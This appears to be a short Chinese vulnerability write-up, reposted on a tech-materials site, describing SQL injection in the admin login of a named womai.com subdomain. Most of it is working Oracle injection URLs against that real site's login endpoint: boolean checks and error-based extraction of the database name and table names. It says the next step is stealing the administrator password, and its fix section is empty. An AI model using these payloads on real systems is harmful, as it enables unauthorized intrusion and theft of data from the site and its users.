我买网某分站后台注入 -电脑资料

    首先是后台地址泄漏

    http://tuan.womai.com/groupBuy/listOrderManage.jsp

    后台登陆地址：

    http://tuan.womai.com/login.jsp

    登陆处存在 oracle 注入

    http://tuan.womai.com/j_spring_security_check?j_password=a&j_username=admin' and 1=1--

    http://tuan.womai.com/j_spring_security_check?j_password=a&j_username=admin' and 1=2--

    根据反回的信息不同，存在注入，

我买网某分站后台注入

    查数据库名：

    http://tuan.womai.com/j_spring_security_check?j_password=a&j_username=admin' or 1=utl_inaddr.get_host_address((select chr(126)||chr(39)||name||chr(39)||chr(126) from v$database where rownum=1)) and '1'='1

    查表

    http://tuan.womai.com/j_spring_security_check?j_password=a&j_username=admin' or 1=utl_inaddr.get_host_address((select chr(126)||chr(39)||TABLE_NAME||chr(39)||chr(126) from USER_TABLES where rownum=1)) and '1'='1

    这里就不深入了，查出管理员用户密码进入管理后台，

电脑资料

    修复方案：

    都懂得！